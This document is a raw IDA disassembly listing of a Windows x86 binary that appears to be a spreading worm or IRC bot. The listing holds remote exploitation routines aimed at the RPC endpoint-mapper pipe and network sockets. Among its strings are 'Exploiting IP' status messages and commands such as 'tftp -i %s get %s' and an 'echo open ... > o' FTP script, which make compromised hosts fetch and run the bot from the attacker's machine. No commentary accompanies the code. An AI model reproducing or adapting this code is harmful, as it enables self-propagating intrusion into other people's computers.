		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------


loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: ___:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: ___:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: ___:00429008o
		test	byte_4DC018, 1
		jnz	short loc_40DB4C
		or	byte_4DC018, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: ___:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB88
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	near ptr 2710000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE6F4
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA74
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA74


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: ___:0040DFC6p
					; ___:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB88
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	near ptr 2710000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB90C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		nop
		call	near ptr 26A0000h
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: ___:0040DFF5p
					; ___:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset off_43285C
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_43293C
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432938


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432470
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327D4
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327E8
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432828
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2730786h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: ___:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: ___:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_432424
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2730000h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	near ptr 2720000h
		nop
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: ___:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: ___:0040E005j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2680157h
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: ___:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2711089h
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2680157h
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: ___:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9D4
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: ___:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: ___:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: ___:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_432424
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: ___:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: ___:0040E162j
					; ___:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: ___:0040E14Aj
		call	dword_4CBA6C


loc_40E1CA:				; CODE XREF: ___:0040DF7Dj
					; ___:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: ___:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA6C


loc_40E1DE:				; CODE XREF: ___:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: ___:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		call	near ptr 26A0000h
		nop
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: ___:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: ___:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E28A:				; CODE XREF: ___:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: ___:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_C], eax
		mov	ax, word_433290
		push	eax
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		mov	edi, offset byte_429108
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		nop
		call	near ptr 26A0000h
		push	edi
		push	offset dword_42A2E8
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	ebx
		call	dword_4CBA6C
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: ___:0040E946p
					; ___:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
